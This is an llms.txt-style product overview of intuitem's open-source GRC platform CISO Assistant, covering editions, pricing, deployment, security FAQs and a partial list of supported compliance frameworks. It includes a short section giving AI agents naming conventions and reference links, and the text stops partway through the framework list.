# intuitem > intuitem is a French cybersecurity company and the publisher of CISO Assistant, the open-source GRC (governance, risk and compliance) platform used by security teams in 100+ countries. ## CISO Assistant CISO Assistant is an open-source GRC platform and a one-stop shop for cybersecurity program management. It covers compliance audits, risk management (including EBIOS RM), security controls, third-party risk (TPRM), business impact analysis, privacy (GDPR, DPIA), incidents, evidence and reporting. Its core idea is decoupling: compliance requirements are separated from the security controls that implement them, so one control can satisfy several frameworks and past assessments can be reused against new standards through built-in mappings. - Editions: Community (free, open source, self-hosted, AGPLv3) and Pro (on-premises or SaaS, with premium features, support and services). A free 30-day Pro trial is available at https://intuitem.com/trial. - Frameworks: 200+ ready-to-use frameworks, standards and regulations (ISO 27001, NIST CSF, NIS2, DORA, SOC 2, GDPR, HDS, TISAX, CIS, PCI DSS, the EU AI Act and many more). Any open standard missing from the library is added for free on request. - Languages: the application is available in 27 languages. - API-first: everything in the UI is available through a REST API; an MCP server exposes it to AI agents. - Deployment: Docker Compose or Kubernetes (Helm), on any OS; PostgreSQL or SQLite. ## For AI agents - Product name: "CISO Assistant" (not "Ciso Assistant" or "CISO-Assistant"). - Company name: "intuitem" (always lowercase). - Category: GRC (Governance, Risk and Compliance) software, open source. - Source code: https://github.com/intuitem/ciso-assistant-community (license AGPLv3 for the Community edition). - Documentation: https://intuitem.gitbook.io/ciso-assistant (LLM-friendly index: https://intuitem.gitbook.io/ciso-assistant/llms.txt) - Wikidata: intuitem https://www.wikidata.org/wiki/Q141804336, CISO Assistant https://www.wikidata.org/wiki/Q135450643 - Release history: https://github.com/intuitem/ciso-assistant-community/releases, summarised weekly on the blog ("What's New in CISO Assistant"). - French versions of most pages live under https://intuitem.com/fr/. - Contact: contact@intuitem.com ## Key figures - 3.4M downloads - 4.5k stars - 868 forks - 130 contributors - 204 frameworks - 100 countries - 27 languages ## Pages - [CISO Assistant](https://intuitem.com): One-stop shop platform for cybersecurity management. - [Simple and predictable](https://intuitem.com/pricing): CISO Assistant is open source forever. Pro plans available for teams that need more. - [Community vs Pro](https://intuitem.com/compare): Choose the edition that best fits your needs. Features and capabilities side by side. - [CISO Assistant — cyber arms for your security program](https://intuitem.com/ciso-assistant): A pragmatic approach to GRC — make the tools work for you, not the other way around. - [Power up your CISO Assistant experience](https://intuitem.com/pro): The Community plan covers the essentials. Pro takes it to the next level. - [Accelerate and secure your projects with our consultancy](https://intuitem.com/services): A multi-disciplinary team of experts with extensive cross-industry experience. - [One stop shop for GRC needs](https://intuitem.com/solutions): CISO Assistant helps CISOs and their teams run a simple, efficient security program. - [Partnership Program](https://intuitem.com/partnership): Grow your business with CISO Assistant. Pick the tier that fits your model. - [A worldwide community](https://intuitem.com/adoption): CISO Assistant is used by organizations from startups to Fortune 500. Available in 27 languages. - [Start your free 30-day trial](https://intuitem.com/trial): Try CISO Assistant on a dedicated, isolated cloud instance. Migrate to production when you're ready. - [Let's connect](https://intuitem.com/contact): Looking for a quote or just have a question? We're here to help. - [Frequently asked questions](https://intuitem.com/faq): Answers about CISO Assistant: editions, pricing, deployment, frameworks, languages, security and support. - [intuitem](https://intuitem.com/about): A French company specialized in cybersecurity and infrastructure management. - [Notes on cybersecurity, GRC and open source](https://intuitem.com/blog): Research, release notes, and field reports from the intuitem team. - [Talks & demos](https://intuitem.com/replays): Watch past webinars, conference talks, and product walkthroughs. - [Upcoming events](https://intuitem.com/events): Where to meet the intuitem team next. - [Our philosophy](https://intuitem.com/philosophy): How we think about cybersecurity, product, and the people we build for. - [Diversity at intuitem](https://intuitem.com/diversity): Building a team that reflects the people we serve. - [Security Assurance Plan](https://intuitem.com/security): How we protect customer data and operate CISO Assistant securely. - [Service Level Objectives](https://intuitem.com/service-level-objectives): Our public commitments on availability and performance. - [Privacy Policy](https://intuitem.com/privacy): How we collect, use, and protect your personal data. - [Terms and Conditions](https://intuitem.com/terms): The terms that govern your use of intuitem services. - [Conditions Générales d'Utilisation](https://intuitem.com/cgu): Les conditions qui régissent votre utilisation des services intuitem. ## FAQ ### How does the pricing work? You need seats only for contributors (editors); readers are free up to 100 readers. Beyond that, reach out to the team for a readers' license package. Both Pro SaaS and Pro on-premises also offer unlimited-seat options if you'd rather not count contributor seats. ### Can I move my data between environments? Yes, with built in data export and import capabilities, you can move your data between different instances, both cloud or on-premises. ### What is the support model? The standard support plan covers business hours over a business week. Pro subscriptions include priority support; for critical systems requiring more than that, reach out to the team to discuss the options. ### I need custom features. Custom features are available on the Pro plan, based on quotation. Any customization is covered by the Pro support plan. ### I need help setting up GRC practices. In addition to CISO Assistant tooling, you can reach out to the team to get a quotation for a GRC acceleration package that includes coaching sessions and interviews to set up GRC practices for your organization. ### I have highly sensitive data. Our cloud instance is deployed on EU infrastructure, following the best practices and standards for cloud security. The on-premises setup is also an option for use cases involving critical information. More details are available on our security page. ### Can I use AI features, and where does my data go? CISO Assistant includes a local AI engine, available in both the Community edition and the Pro plan: you bring your own model, and it runs in your own environment or in your dedicated cloud instance, so your data stays within your perimeter. A managed model option for the SaaS version is currently being developed. ### How long can I keep the trial instance? 30 days. ### Is the community edition free forever? Yes. ### I'm an integrator looking to rebrand the solution for my customers. We have a white label program that we can discuss. ### I'm a solo consultant and don't want to pay for each one of my customers. You only pay contributor seats since readers are free. ### I would like to contribute. This is possible, check the contributions guide on our GitHub. ### What is the OSS license? AGPLv3. ### I already have a lot of risks assessments, can I import them at once? Yes. As long as they share the same structured format in CSV or Excel, the data import wizard in the pro version will pick them up. The API is also available in every edition if you prefer to script the migration. ### What are the prerequisites to install CISO Assistant? CISO Assistant consists of a few docker images. You can install it on your laptop, desktop, or server. If it can run Excel, it can run CISO Assistant :). Once you install Docker and Docker Compose, follow the instructions on GitHub. Kubernetes (via our Helm chart) and the other installation flavours are documented in the Docs section. ### What are the supported languages? CISO Assistant is available in 27 languages, thanks to a very active community worldwide. Check out the GitHub page to learn more about the existing and upcoming ones. ### What are the premium features that are specific to PRO plan? Check out the /compare page to see exactly what the PRO plan stacks on top of the Community edition, feature by feature. ### What are the supported frameworks? CISO Assistant ships with more than 200 cyber security frameworks, standards and regulations, and the library keeps growing. If you notice that one is missing, reach out to the team through Discord or the contact form. If it's an open and free standard or regulation, we will add it for free. ### What does contributor/seats count mean on the PRO plan? A contributor is a user with write permission who will input or change data, including a review, comment, or approval. This is what we use to define the pro seats, allowing us to ensure that readers are free. Both SaaS and On-premises plans have unlimited options if you don't want to count the contributor seats. ### Can I add a custom/internal framework? Yes. Libraries load directly from an Excel file — no manual conversion to YAML needed — from the Governance → Library page, and any validation error is reported during the import. The tools directory in the repository documents the expected format and provides example files. A library can describe a framework, a threat catalog, a set of reference controls, or a custom risk matrix. We also provide express consultancy options for complex or large framework integrations. ### Which SSO protocols are supported, and do I need a paid plan? CISO Assistant supports SSO with both SAML and OIDC, in the Community edition and the Pro plan alike. Only SCIM provisioning — automatic user creation and removal from your identity provider's groups — is specific to Pro. ### Is multi-factor authentication available? Yes, in both editions, with TOTP applications and hardware security keys. Personal access tokens are issued from an authenticated session, so an account protected by MFA stays protected when you use the API. ### Can I see who changed what? Yes. The audit log records changes across the platform, and you can open any object to review its own history without digging through global logs. It is part of the Pro plan. ### How do I report a security issue? Write to security@intuitem.com. Significant vulnerabilities and their fixes are communicated through release notes and advisories on our public repository, so both cloud and on-premises users are informed. ### Where is my data hosted? Our cloud instances run in France, across two independent providers (Scaleway and OVH), with a secondary region in the Netherlands for disaster recovery. Each customer gets a dedicated, isolated instance with its own storage volumes. For specific needs, the hosting location can be agreed with you. Hosting, isolation, backup and retention details are documented on our security page. ### Is intuitem certified? Our security program is aligned with NIST CSF and OWASP ASVS, and we rely on ISO 27001 certified hosting providers. ISO 27001 certification for our own ISMS is targeted for Q4 2026. An independent penetration test is run every year and the report is published. The full security assurance plan is on our security page. ### Can I deploy on Kubernetes? Yes, through our Helm chart. The config builder in the repository also generates a tailored docker-compose file for self-hosting, and the Docs cover the other installation flavours. ### Which database does CISO Assistant use? SQLite by default, which is enough to get started quickly. PostgreSQL is supported and recommended for production deployments. ### Can I store attachments on S3 or Azure Blob? Yes. The filesystem is used by default, and you can switch to an S3 bucket (including S3-compatible services such as MinIO) or an Azure Blob container. Kubernetes deployments can authenticate through IRSA on EKS or an Azure managed identity, without static credentials. ### What should I do to run it safely in production? Pin image versions rather than tracking the main branch, set DJANGO_DEBUG to false, expose only what you need behind a reverse proxy with a valid certificate, use an encrypted volume for the database, and keep secrets in environment variables. The containers run as a non-root user by default. Full guidance is in the repository README and the Docs. ### Can I automate CISO Assistant? Yes, it was built API-first. Everything the interface does is available through the REST API, and a CLI is provided for automation. Create a personal access token from your user profile and send it in the Authorization header — note that the scheme is "Token", not "Bearer". Interactive API documentation is available in development mode. ### Do you support MCP? Yes. CISO Assistant ships with MCP support, so you can connect an AI assistant or agent that speaks the Model Context Protocol and query or drive your GRC data from there. ### Which integrations are available? Jira and ServiceNow for ticketing and asset synchronization, Kafka for event streaming, and outgoing webhooks for everything else. The REST API and the CLI cover the cases where no dedicated connector exists. ### Can I assess one scope against several frameworks at once? Yes, and this is the whole point of the decoupling principle: compliance is separated from the security controls that implement it, so a control you have already documented can serve several frameworks. Automatic mapping and the mapping explorer let you reuse a past assessment against a new standard instead of starting over. ### Do you support EBIOS RM? Yes, through a dedicated EBIOS RM module, alongside the standard risk assessment workflow. ### Can I quantify risk in financial terms? Yes. A cyber risk quantification module complements the qualitative risk matrices, so you can express exposure in monetary terms alongside the usual likelihood and impact scales. ### How does third-party risk management work? You build a questionnaire and customize it to the vendor and the level of scrutiny you need, then trigger it. The vendor signs in to CISO Assistant, answers directly, and you review their responses in the platform — no spreadsheets going back and forth by email. A vendor due diligence baseline is included to start from. ### Can I keep my GDPR records of processing in CISO Assistant? Yes, there is a dedicated GDPR processings module, with export and import so you can bring an existing register in or hand it over. ### Can I share our compliance status with customers? Yes. Portals and a trust center let you publish a curated view of your posture to an external audience, without giving them access to the platform itself. ### Where is the roadmap, and how do I request something? The public roadmap is linked from our GitHub repository. For a feature idea or a missing framework, reach the team on Discord or through the contact form — if it is an open standard, we will add it free of charge. ## Supported frameworks (171 listed here, 200+ in the library) - **ENISA 5G Security Controls Matrix** (https://www.enisa.europa.eu/publications/5g-security-controls-matrix): The ENISA 5G Security controls matrix is a comprehensive and dynamic matrix of security controls and best practices for 5G networks, to support the national authorities in the EU Member States with implementing the technical measures of the EU’s 5G Cybersecurity Toolbox. - **intuitem Agile Security Framework (ASF) Baseline** (https://intuitem.com): The Agile Security Framework is an open standard made by intuitem, offering an incremental and iterative approach to cybersecurity. The baseline version helps cyber security consultants establish a holistic posture during rapid assessment and can also serve as a starting point for custom frameworks and security checklists. - **European Commission AI Act** (https://digital-strategy.ec.europa.eu/en/policies/regulatory-framework-ai): The AI Act aims to provide AI developers and deployers with precise requirements and obligations regarding specific uses of AI. At the same time, the regulation seeks to reduce administrative and financial burdens on businesses, particularly small and medium-sized enterprises (SMEs). The AI Act is the first-ever comprehensive legal framework on AI worldwide. The new rules aim to foster trustworthy AI in Europe and beyond by ensuring that AI systems respect fundamental rights and safety principles and addressing the ethical risks of compelling and impactful AI models. - **Lenny Zeltser & Sounil Yu AI Defense Matrix** (https://aidefensematrix.com): A structured framework for defending AI systems, aligned with NIST CSF 2.0 and extending the Cyber Defense Matrix. - **NIST AI Risk Management Framework (AI RMF)** (https://www.nist.gov/itl/ai-risk-management-framework): The NIST's AI Risk Management Framework (AI RMF) is a comprehensive guideline aimed at fostering trustworthy and responsible development, deployment, and use of artificial intelligence (AI) systems. Developed through extensive collaboration with stakeholders from government, academia, and industry, the AI RMF provides a flexible and voluntary framework to help organizations manage risks associated with AI technologies, including ethical considerations, fairness, accountability, transparency, and the impact on privacy and civil liberties. It emphasizes the importance of incorporating robust risk assessment and management practices throughout the AI lifecycle, from design to deployment and monitoring, to ensure AI systems are reliable, safe, and aligned with societal values and norms. The framework is part of NIST's broader effort to build confidence in AI technologies and to support the development of AI systems that are innovative and beneficial while minimizing harm and unintended consequences. - **Boost Aerospace AirCyber** (https://boostaerospace.com/aircyber/): The AirCyber framework by BoostAeroSpace aims to elevate cybersecurity across the European Aerospace and Defense Supply Chain by standardizing and harmonizing IT and IS security. Developed with contributions from aerospace leaders like Airbus, Dassault Aviation, Safran, and Thales, AirCyber offers a suite of services, including maturity assessments, a catalog of cybersecurity solutions, and an encryption portal. This initiative addresses the pressing need for robust cybersecurity measures among smaller suppliers, often more vulnerable to cyber-attacks. Through disseminating advanced security practices and the AirCyber Maturity Standard, BoostAeroSpace facilitates a collective uplift in cyber resilience within the aerospace and defense sectors. - **Ministry of Defence of the Netherlands Algemene Beveiligingseisen voor Defensieopdrachten (ABDO) 2019** (https://www.defensie.nl): ABDO 2019 sets the general security requirements for Dutch Ministry of Defence contracts, defining the measures suppliers must apply to protect classified and sensitive defence information. - **Government of the Netherlands Algemene Beveiligingseisen voor Rijksoverheidsopdrachten (ABRO) 2026** (https://www.rijksoverheid.nl): ABRO 2026 sets the general security requirements for Dutch central government contracts, defining the protective measures suppliers must apply when handling government information. - **ANSSI - Certification PASSI** (https://cyber.gouv.fr): PASSI is the ANSSI qualification scheme for information system security audit providers, defining requirements across the recognized audit activities. - **ANSSI - Cybersécurité des systèmes industriels - Mesures détaillées** (https://cyber.gouv.fr): ANSSI's detailed measures for securing industrial control systems: organisational and technical controls for OT environments, scaled to the system's classification. Mapped in CISO Assistant to the IEC 62443 series. - **ANSSI - Questionnaire MonAideCyber** (https://monaidecyber.ssi.gouv.fr): MonAideCyber is ANSSI's self-assessment questionnaire designed to help small and medium organizations evaluate their cybersecurity maturity and identify priority improvement areas. - **ANSSI - Recommandations de configuration d'un système GNU/Linux** (https://cyber.gouv.fr/publications/recommandations-de-securite-relatives-un-systeme-gnulinux): ANSSI's security hardening guide for GNU/Linux systems, providing detailed configuration recommendations for securing Linux-based operating systems. - **ANSSI - Recommandations de sécurité relatives à TLS** (https://cyber.gouv.fr/publications/recommandations-de-securite-relatives-tls): ANSSI security recommendations for TLS implementation, covering protocol versions, cipher suites, certificate management, and deployment best practices. - **ANSSI - Recommandations pour l'architecture d'un système de journalisation** (https://cyber.gouv.fr/publications/recommandations-de-securite-pour-larchitecture-dun-systeme-de-journalisation): ANSSI security recommendations for designing logging system architectures, covering log collection, storage, analysis, and retention strategies. - **ANSSI - Recommandations pour la protection des SI essentiels** (https://cyber.gouv.fr): ANSSI recommendations for protecting essential information systems, providing security measures for critical national infrastructure operators. - **OWASP Application Security Verification Standard (ASVS)** (https://owasp.org/www-project-application-security-verification-standard/): The OWASP Application Security Verification Standard (ASVS) is a framework by the Open Web Application Security Project (OWASP) designed to standardize the approach to web application security. It categorizes security controls into three levels of rigor, offering a comprehensive guide for developers, testers, and security professionals to ensure the security of web applications. Covering aspects from authentication to data protection, the ASVS serves as a benchmark for developing, testing, and evaluating the security of web applications, reflecting the latest in security challenges and best practices. - **ANSSI Autoévaluation de gestion de crise cyber** (https://cyber.gouv.fr/actualites/publication-dun-outil-dautoevaluation-de-gestion-de-crise-cyber): L'ANSSI a publié un outil d'autoévaluation de gestion de crise cyber pour aider les organisations à évaluer leur préparation face aux crises liées à la cybersécurité. Cet outil, développé en collaboration avec le Club des directeurs de sécurité des entreprises, propose 57 questions réparties sur cinq thématiques, permettant de mesurer les compétences depuis un niveau novice jusqu'à l'état de l'art. Les résultats aident à identifier les points à améliorer et orienter les étapes suivantes pour renforcer les capacités en gestion de crise. - **Government of the Netherlands Baseline informatiebeveiliging Overheid 2 (BIO2)** (https://www.bio-overheid.nl): BIO2 is the Dutch government's baseline information security framework, providing mandatory security controls for all government organizations in the Netherlands. - **T.C. CBDDO Bilgi ve İletişim Güvenliği Rehberi (BİGR)** (https://oktem.bilgem.tubitak.gov.tr/en/information-and-communication-security-guide/): Turkey's Information and Communication Security Guide (BİGR), issued by the Presidency's Digital Transformation Office, sets security measures for public institutions and critical infrastructure. - **DGAC/DSAC Cadre Conformité Cyber France (3CF) v1 2021** (https://meteor.dsac.fr/documentation.php): En septembre 2021, la direction de la sécurité de l’aviation civile a publié le Cadre Conformité Cyber France (3CF), qui a pour objectif de regrouper les différentes dispositions réglementaires propres à l’aviation civile en matière de cybersécurité. le 3CF est inspiré des bonnes pratiques telles que les guides et méthodes de l’Agence Nationale de la Sécurité des Systèmes d’Information (ANSSI), et la norme ISO 27001 et présente un ensemble d'exigences réglementaires dans le secteur de l'aviation civile. - **DGAC/DSAC Cadre Conformité Cyber France (3CF) v2 2024** (https://meteor.dsac.fr/documentation.php): Dans cette 2nde version, le 3CFv2 constitue désormais un référentiel unique de dispositions visant à accompagner les organismes à se conformer aux : Règlement d’exécution (UE) 2015/1998 modifié par le règlement d’exécution (UE) 2019/1583 de la commission du 25 septembre 2019 fixant des mesures détaillées pour la mise en œuvre des normes de base communes dans le domaine de la sûreté de l'aviation civile, en ce qui concerne les mesures de cybersécurité ; et/ou ; Règlements Part-IS (Information Security) : Règlement délégué (UE) 2022/1645 de la commission du 14 juillet 2022 portant modalités d’application du règlement (UE) 2018/1139 du Parlement européen et du Conseil en ce qui concerne les exigences relatives à la gestion des risques liés à la sécurité de l’information susceptibles d’avoir une incidence sur la sécurité aérienne ; Règlement d’exécution (UE) 2023/203 de la commission du 27 octobre 2022 portant modalités d’application du règlement (UE) 2018/1139 du Parlement européen et du Conseil en ce qui concerne les exigences en matière de gestion des risques liés à la sécurité de l’information susceptibles d’avoir une incidence sur la sécurité aérienne. - **DGAC/DSAC Cadre Conformité Cyber France (3CF) v3.1 2026** (https://meteor.dsac.fr/documentation.php): The 3CF v3.1 is the French civil aviation cyber compliance framework issued by DSAC/OSAC, defining security requirements for civil aviation organizations. - **ANSSI Cahier des charges Label EBIOS RM v3.1** (https://cyber.gouv.fr/la-methode-ebios-risk-manager): The EBIOS RM label specification defines requirements for obtaining the ANSSI label for EBIOS Risk Manager methodology implementations, ensuring consistent and rigorous risk analysis practices. - **State Of California California Consumer Privacy Act (CCPA)** (https://oag.ca.gov/privacy/ccpa): The California Consumer Privacy Act (CCPA) is a state law that enhances privacy rights and consumer protection for residents of California. Enacted in 2018 and effective from January 1, 2020, it gives California consumers more control over the personal information that businesses collect about them. The CCPA requires businesses to disclose their data collection and sharing practices, allows consumers to request deletion of their personal information, opt out of the sale of their data, and provides them the right to non-discrimination for exercising their CCPA rights. It applies to for-profit entities doing business in California that meet specific criteria related to revenue or data processing volume. - **State of California California Consumer Privacy Act Regulations** (https://oag.ca.gov/privacy/ccpa): The CCPA Regulations provide detailed implementation rules for the California Consumer Privacy Act, covering consumer rights, business obligations, and enforcement mechanisms for data privacy in California. - **ADR & NOREA Cbw (NIS2) Control Framework v1.2** (https://www.norea.nl): The control framework for the Dutch Cyberbeveiligingswet (Cbw), the Netherlands' transposition of NIS2, published by the Auditdienst Rijk and NOREA to assess compliance with its requirements. - **CCB CyberFundamentals Framework 2025** (https://atwork.safeonweb.be/tools-resources/cyberfundamentals-framework): The 2025 edition of Belgium's CyberFundamentals Framework by the Centre for Cybersecurity Belgium, providing updated baseline security controls for organizations of all sizes. - **CCB CyberFundamentals Small - Self Assessment** (https://atwork.safeonweb.be/tools-resources/cyberfundamentals-framework): The CCB CyberFundamentals Small self-assessment provides a simplified cybersecurity baseline for small organizations in Belgium, enabling quick evaluation of essential security controls. - **European Union CER Directive (Critical Entities Resilience)** (https://eur-lex.europa.eu/eli/dir/2022/2557/oj): Directive (EU) 2022/2557 on the resilience of critical entities establishes obligations to strengthen the physical and operational resilience of entities providing essential services in the EU. - **ANSSI Checklist de dossier d'homologation** (https://cyber.gouv.fr): ANSSI's homologation checklist provides a structured approach for French organizations to build their security accreditation files, covering risk analysis, security measures, and residual risk acceptance. - **Oulkhabou Bassou Checklist des exigences de la Loi n° 09-08 (Maroc)** (https://www.cndp.ma): A practical checklist of the requirements derived from Morocco's Law 09-08 on the protection of personal data. - **CIS Benchmarks** (https://www.cisecurity.org/cis-benchmarks): Secure configuration baselines from the Center for Internet Security: Kubernetes (v1.10, v2.0.1), AWS, Azure, GCP, Microsoft 365, Google Workspace, GitHub, GitLab, Debian 12/13, Ubuntu 24.04 LTS and Windows 11. - **CIS* CIS Controls v8** (https://www.cisecurity.org/controls): The CIS Critical Security Controls are a set of prioritized guidelines designed to help organizations bolster their cybersecurity posture. Developed by the Center for Internet Security, these controls are widely recognized for their effectiveness in mitigating the most common and impactful cyber threats. The framework consists of several key controls, including inventory and control of hardware and software assets, continuous vulnerability management, controlled use of administrative privileges, secure configuration of hardware and software, and the implementation of a security awareness and training program. By following these controls, organizations can significantly enhance their defensive capabilities against cyberattacks, improve their security management processes, and protect their sensitive information and systems. * This framework requires one extra manual step, given its license terms. - **CISA Cybersecurity Performance Goals (CPG) v2.0** (https://www.cisa.gov/cross-sector-cybersecurity-performance-goals): CISA's Cybersecurity Performance Goals provide a prioritized set of security practices for critical infrastructure organizations, offering a baseline of protective measures against common threats. - **CISA Vendor Supply Chain Risk Management (SCRM) Template** (https://www.cisa.gov/supply-chain): CISA's SCRM template provides a structured approach for organizations to assess and manage supply chain risks from vendors, covering due diligence, ongoing monitoring, and incident response. - **Cisco Cloud Controls Framework (CCF) v3.0** (https://www.cisco.com/c/en/us/about/trust-center/cloud-controls-framework.html): Cisco's Cloud Controls Framework (CCF) maps security controls across multiple compliance standards, providing a unified approach to cloud security governance and certification readiness. - **FBI CJIS Security Policy** (https://le.fbi.gov/cjis-division/cjis-security-policy-resource-center): The Criminal Justice Information Services (CJIS) Security Policy is a comprehensive set of guidelines and requirements established by the Federal Bureau of Investigation (FBI) to ensure the security and integrity of criminal justice information. This policy outlines the security measures that must be adhered to by any agency that accesses or handles criminal justice information, encompassing data encryption, secure access, audit trails, and personnel training. The CJIS Security Policy aims to protect the privacy and civil liberties of individuals by ensuring that sensitive information, such as biometric data, criminal history, and identity information, is handled with the utmost security and confidentiality. - **Clausier de sécurité numérique du Club RSSI Santé** (https://www.health-data-hub.fr): Digital security clauses developed by France's healthcare CISO club, providing standard contractual security requirements for healthcare IT procurement. - **BSI Cloud Computing Compliance Criteria Catalogue (C5) 2020 and 2026** (https://www.bsi.bund.de/EN/Themen/Unternehmen-und-Organisationen/Informationen-und-Empfehlungen/Empfehlungen-nach-Angriffszielen/Cloud-Computing/Kriterienkatalog-C5/kriterienkatalog-c5_node.html): The Cloud Computing Compliance Criteria Catalogue (C5), developed by Germany's Federal Office for Information Security (BSI), sets security requirements for cloud service providers, with a strong focus on transparency. Available in its 2020 and 2026 editions, C5 aligns with international frameworks such as ISO/IEC 27001 and the CSA Cloud Controls Matrix, and requires providers to disclose key information such as data processing locations and applicable jurisdictions so that customers can make informed decisions. C5 attestations are widely required by the German public sector and used across the private sector. - **CSA* Cloud Controls Matrix (CCM)** (https://cloudsecurityalliance.org/research/cloud-controls-matrix): The Cloud Controls Matrix (CCM) from the Cloud Security Alliance (CSA) is a comprehensive cybersecurity framework specifically tailored for cloud computing environments. It provides a detailed set of security controls that are aligned with industry-accepted security standards, regulations, and control frameworks, such as ISO 27001/27002, ISACA COBIT, and NIST. The CCM is designed to aid organizations in assessing the overall security risk of cloud providers and to help ensure that adequate security measures are in place. The matrix covers fundamental security principles across different domains, including compliance, data security, infrastructure security, identity management, and incident response, making it a crucial tool for companies leveraging cloud technology for their operations. * This framework requires one extra manual step, given its license terms. - **NCA Cloud Cybersecurity Controls (CCC-1:2020)** (https://nca.gov.sa): A modular extension of the Saudi NCA Essential Cybersecurity Controls setting cybersecurity requirements for cloud service providers and the organisations that use them. - **EU Cloud Sovereignty Framework v1.2.1** (https://digital-strategy.ec.europa.eu/en/policies/cloud): The Cloud Sovereignty Framework provides guidelines for ensuring data sovereignty and regulatory compliance in cloud environments, addressing data residency, jurisdictional control, and operational transparency. - **Adobe Common Controls Framework (CCF)** (https://intuitem.com): Adobe's Common Controls Framework (CCF) is a comprehensive set of security processes and controls designed to streamline compliance across various industry standards and regulations. By analyzing and rationalizing over 1,000 criteria from multiple security certifications, Adobe consolidated them into approximately 315 common controls spanning 25 domains, including asset management, data protection, and incident response. This approach enables Adobe to efficiently meet diverse compliance requirements such as ISO/IEC 27001, SOC 2, and the Cloud Computing Compliance Criteria Catalogue (C5). In its commitment to transparency and community collaboration, Adobe has open-sourced the CCF, allowing other organizations to leverage this framework to enhance their own security and compliance efforts. - **NCSC Cyber Assessment Framework (CAF) v3.2** (https://www.ncsc.gov.uk): The NCSC Cyber Assessment Framework (CAF) is a tool developed by the UK's National Cyber Security Centre to help organizations assess and improve their cyber resilience. It provides a systematic method for evaluating an organization's cyber security posture across 14 key principles, grouped into four objectives: managing security risk, protecting against cyber attack, detecting cybersecurity events, and minimizing the impact of incidents. The CAF is particularly useful for organizations responsible for vital services and infrastructure, helping them identify areas for improvement and demonstrate compliance with relevant regulations. - **NCSC Cyber Assessment Framework (CAF) v4.0** (https://www.ncsc.gov.uk): Version 4.0 of the UK NCSC Cyber Assessment Framework, updating the 14 cyber resilience principles across its four objectives — managing security risk, protecting against cyber attack, detecting cyber security events, and minimising incident impact — with refreshed guidance for operators of essential services and critical infrastructure. - **NCSC Cyber Essentials** (https://www.ncsc.gov.uk/cyberessentials/overview): Cyber Essentials is an effective, Government backed scheme that will help you to protect your organisation, whatever its size, against a whole range of the most common cyber attacks. Cyber attacks come in many shapes and sizes, but the vast majority are very basic in nature, carried out by relatively unskilled individuals. They’re the digital equivalent of a thief trying your front door to see if it’s unlocked. Our advice is designed to prevent these attacks. - **European Union Cyber Resilience Act (CRA)** (https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=celex:52022PC0454): The Cyber Resilience Act (CRA) is a legislative proposal by the European Union aimed at enhancing the overall cybersecurity posture of products with digital elements sold within the EU market. The act focuses on ensuring that these products meet stringent cybersecurity standards from the design phase to the end of their lifecycle, thereby reducing risks and vulnerabilities that could lead to cyber-attacks. It applies to a broad range of products, including connected devices and software, with the objective of protecting consumers and businesses from cyber threats. The CRA mandates manufacturers to adhere to specified cybersecurity requirements, conduct thorough assessments of their products' cyber risks, and take appropriate measures to manage those risks effectively. Additionally, the act emphasizes transparency and accountability by requiring manufacturers to report significant cyber incidents. Through these measures, the CRA aims to foster trust and security in the digital marketplace, contributing to the resilience of the EU's digital economy against cyber threats. - **ECB Cyber resilience oversight expectations for financial market infrastructures** (https://intuitem.com): The European Central Bank’s (ECB) Cyber Resilience Oversight Expectations (CROE) provide a comprehensive framework to enhance the cyber resilience of financial market infrastructures (FMIs). Published in December 2018, the CROE operationalize the global guidance set forth by the Committee on Payments and Market Infrastructures and the International Organization of Securities Commissions (CPMI-IOSCO) in June 2016. The framework outlines detailed steps for FMIs to strengthen their cyber resilience across key domains, including governance, identification, protection, detection, response and recovery, testing, situational awareness, and continuous learning and evolution. By adhering to these expectations, FMIs can systematically assess and enhance their cyber defenses, thereby contributing to the overall stability and security of the financial system.  - **NIST Cyber Security Framework** (https://www.nist.gov/cyberframework): The NIST CSF is a framework designed to help organizations improve their cybersecurity practices and manage cybersecurity risks effectively. It is structured around six core functions: Identify, Govern, Protect, Detect, Respond, and Recover, providing a comprehensive approach to cybersecurity. NIST CSF is one of the most used frameworks in Cyber Security programs all over the world. - **CCB CyberFundamentals Framework** (https://atwork.safeonweb.be/tools-resources/cyberfundamentals-framework): The CyberFundamentals Framework, initiated by the Centre for Cybersecurity Belgium (CCB), offers a structured set of guidelines aimed at enhancing cybersecurity within both public and private sectors. The framework is distinguished by its structure across four escalating levels of cybersecurity measures: Small, Basic, Important, and Essential. Starting from the Small level, designed for organizations with limited technical expertise, it progresses to the Essential level, aimed at counteracting advanced cyber threats. - **NIST CyberSecurity Framework (CSF)** (#): It is kept for legacy purposes, as many organizations have structured their program on top of the CSF 1.1 version. The NIST Cybersecurity Framework (CSF) , developed by the NIST, is an updated guide to improve cybersecurity practices for organizations across all sectors. Building on the original framework, CSF 1.1 provides a flexible and voluntary structure composed of standards, guidelines, and best practices to manage cybersecurity-related risk. It introduces refinements to its core functions—Identify, Protect, Detect, Respond, and Recover—enhancing its applicability to a broader range of cybersecurity threats and business environments. The update emphasizes the importance of cybersecurity risk management within supply chain security and clarifies the usage of authentication, authorization, and identity proofing. By adopting CSF 1.1, organizations can better align their cybersecurity efforts with business needs, manage risks effectively, and foster a proactive cybersecurity culture. - **DoD (US) Cybersecurity Maturity Model Certification (CMMC)** (https://dodcio.defense.gov/CMMC/Model/): CMMC 2.0 outlines three progressive levels of cybersecurity requirements designed to protect Federal Contract Information (FCI) and Controlled Unclassified Information (CUI) shared with contractors and subcontractors through DoD acquisition programs. These levels range from foundational cybersecurity practices to advanced measures against sophisticated threats, aligning closely with well-established National Institute of Standards and Technology (NIST) cybersecurity standards, specifically NIST SP 800-171 for the "Advanced" level and a subset of NIST SP 800-172 requirements for the "Expert" level, which is still under development. - **sikker digital De tekniske minimumskrav for statslige myndigheder** (https://www.sikkerdigital.dk/myndighed/tekniske-tiltag/tekniske-minimumskrav): Statslige myndigheder skal sikre overholdelse af en række minimumskrav til deres it-sikkerhed. Kravene er ufravigelige og skal sikre et fælles højt sikkerhedsniveau i staten. De tekniske minimumskrav har primært til formål at beskytte statslige it-arbejdspladser, herunder arbejdsnetværk og arbejdsstationer, mod ondsindede cyber- og informationssikkerhedshændelser, for eksempel hackerangreb og spredning af malware. Kravene er minimumskrav, som ikke fritager myndighederne fra at foretage egne risikovurderinger og implementere yderligere sikkerhedstiltag i relevant omfang. Kravene er indført som led i implementeringen af den nationale strategi for cyber- og informationssikkerhed 2022-2024 og skal bidrage til at styrke it-sikkerheden i staten. - **European Union Digital Operational Resilience Act (DORA)** (https://www.eiopa.europa.eu/digital-operational-resilience-act-dora_en): The Digital Operational Resilience Act (DORA) represents the European Union's comprehensive approach to 